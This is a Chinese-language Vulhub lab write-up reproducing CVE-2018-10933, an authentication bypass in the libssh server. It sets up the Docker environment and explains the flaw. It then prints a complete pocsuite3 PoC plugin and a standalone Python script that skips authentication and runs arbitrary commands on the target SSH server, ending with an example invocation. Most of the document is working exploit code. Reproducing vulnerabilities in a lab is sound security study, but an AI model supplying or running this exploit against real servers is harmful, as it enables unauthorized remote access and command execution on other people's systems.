利用Vulnhub复现漏洞 - libssh 服务端权限认证绕过漏洞（CVE-2018-10933）

Vulnhub官方复现教程

https://github.com/vulhub/vulhub/blob/master/libssh/CVE-2018-10933/README.zh-cn.md

漏洞原理

libssh是一个提供ssh相关接口的开源库，包含服务端、客户端等。其服务端代码中存在一处逻辑错误，攻击者可以在认证成功前发送MSG_USERAUTH_SUCCESS消息，绕过认证过程，未授权访问目标SSH服务器。

参考资料：

https://www.libssh.org/security/advisories/CVE-2018-10933.txt
https://www.seebug.org/vuldb/ssvid-97614

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/libssh/CVE-2018-10933

搭建及运行漏洞环境：

docker-compose build && docker-compose up -d

用时：2分钟
环境启动后，访问http://your-ip:2222端口（账号密码：myuser:mypassword），这是一个合法的ssh流程：

ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 [email protected]

PoC (pocsuite 插件)

参考 https://www.seebug.org/vuldb/ssvid-97614中给出的POC

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import paramiko
import socket
import os

from urllib.parse import urlparse
from pocsuite3.lib.utils import url2ip
from pocsuite3.api import POCBase, Output, register_poc, logger


class DemoPOC(POCBase):
    vulID = '97614'
    version = '3'
    author = ['seebug']
    vulDate = '2018-10-18'
    createDate = '2018-10-17'
    updateDate = '2018-10-18'
    references = ['https://www.seebug.org/vuldb/ssvid-97614']
    name = 'libssh CVE-2018-10933 身份验证绕过漏洞'
    appPowerLink = ' https://www.libssh.org'
    appName = 'libssh'
    appVersion = '>=0.6'
    vulType = 'Login Bypass'
    desc = '''libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。'''
    samples = ['']
    install_requires = ['paramiko']

    def _verify(self):
        result = {}
        pr = urlparse(self.url)
        host = url2ip(self.url)
        port = pr.port if pr.port else 22

        if password_auth_bypass_test(host, port):
           result['VerifyInfo'] = {}
           result['VerifyInfo']['Target'] = '{0}:{1}'.format(host, port)
           return self.parse_attack(result)

        if fake_key_bypass_test(host, port):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['Target'] = '{0}:{1}'.format(host, port)

        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')

        return output


def password_auth_bypass_test(hostname, port):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.invoke_shell()
        return True

    except paramiko.SSHException as e:
        logger.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
        return False
    except socket.error:
        logger.debug("Unable to connect.")
        return False


def auth_accept(*args, **kwargs):
    new_auth_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_SUCCESS]
    return new_auth_accept(*args, **kwargs)


def fake_key_bypass_test(hostname, port, username='root', keyfile=None, command='whoami'):
    try:
        if keyfile is None:
            keyfile = os.path.join(os.environ['HOME'], '.ssh', 'id_rsa')

        paramiko.auth_handler.AuthHandler._server_handler_table.update({paramiko.common.MSG_USERAUTH_REQUEST: auth_accept,})

        client = paramiko.SSHClient()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname, port=int(port), username=username, password="", pkey=None, key_filename=keyfile)

        stdin, stdout, stderr = client.exec_command(command)
        cmd_output = stdout.read()
        client.close()
        return True if cmd_output == 'root' else False

    except FileNotFoundError:
        logger.debug("Generate a keyfile for tool to bypass remote/local server credentials.")
        return False
    except paramiko.SSHException as e:
        logger.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
        return False
    except socket.error:
        logger.debug("Unable to connect.")
        return False


register_poc(DemoPOC)

编写一个简单的漏洞复现脚本：

#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048

def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None

if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

执行任意命令

使用python3执行，即可在目标服务器上执行任意命令：

python client.py 127.0.0.1 2222 "id"